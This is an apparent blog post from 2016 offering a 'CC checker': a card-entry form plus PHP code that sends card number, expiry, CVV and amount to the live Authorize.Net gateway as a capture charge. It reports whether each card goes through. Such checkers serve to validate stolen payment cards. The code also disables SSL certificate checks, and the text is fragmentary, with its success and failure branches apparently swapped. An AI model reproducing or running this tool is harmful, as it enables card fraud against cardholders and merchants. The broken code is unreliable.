Kamis, 30 Juni 2016

Checker CC

Authorize Checker

...::[Authorize.Net]::...



Card Number
Expiration
CVV Number
Amount





"$LOGINKEY", "x_tran_key" => "$TRANSKEY", "x_version" => "3.1", "x_delim_data" => "TRUE", "x_delim_char" => "|", "x_relay_response" => "FALSE", //"x_market_type" => "2", "x_device_type" => "1", "x_type" => "AUTH_CAPTURE", "x_method" => "CC", "x_card_num" => $creditCardNumber, "x_exp_date" => $expDateYear, "x_card_code" => $cvv2Number, "x_amount" => $amount, "x_first_name" => $firstName, "x_last_name" => $lastName, "x_address" => $address1, "x_state" => $state, "x_response_format" => "1", "x_zip" => $zip ); $post_string = ""; foreach( $post_values as $key => $value )$post_string .= "$key=" . urlencode( $value ) . "&"; $post_string = rtrim($post_string,"& "); //for live mode use the followin url $post_url = "https://secure.authorize.net/gateway/transact.dll"; //for test use this url //$post_url = "https://test.authorize.net/gateway/transact.dll"; $request = curl_init($post_url); // initiate curl object curl_setopt($request, CURLOPT_HEADER, 0); // set to 0 to eliminate header info from response curl_setopt($request, CURLOPT_RETURNTRANSFER, 1); // Returns response data instead of TRUE(1) curl_setopt($request, CURLOPT_POSTFIELDS, $post_string); // use HTTP POST to send form data curl_setopt($request, CURLOPT_SSL_VERIFYPEER, FALSE); // uncomment this line if you get no gateway response. $post_response = curl_exec($request); // execute curl post and store results in $post_response // additional options may be required depending upon your server configuration // you can find documentation on curl options at http://www.php.net/curl_setopt curl_close ($request); // close curl object // This line takes the response and breaks it into an array using the specified delimiting character $response_array = explode($post_values["x_delim_char"],$post_response); if($response_array[0]==2||$response_array[0]==3) { //success echo 'Payment Failure.
'; echo '

Merchant Respond: '.$response_array[3]; echo '

Merchant CC Respond: '.$response_array[5]; echo '

Merchant CVV Respond: '.$response_array[38]; echo '

Press back button to go back to the previous page'; echo "



"; } else { $ptid = $response_array[6]; $ptidmd5 = $response_array[7]; echo "Payment Success"; echo '

Merchant Respond: '.$response_array[3]; echo '

Merchant CC Respond: '.$response_array[5]; echo '

Merchant CVV Respond: '.$response_array[38]; echo "



"; } } ?>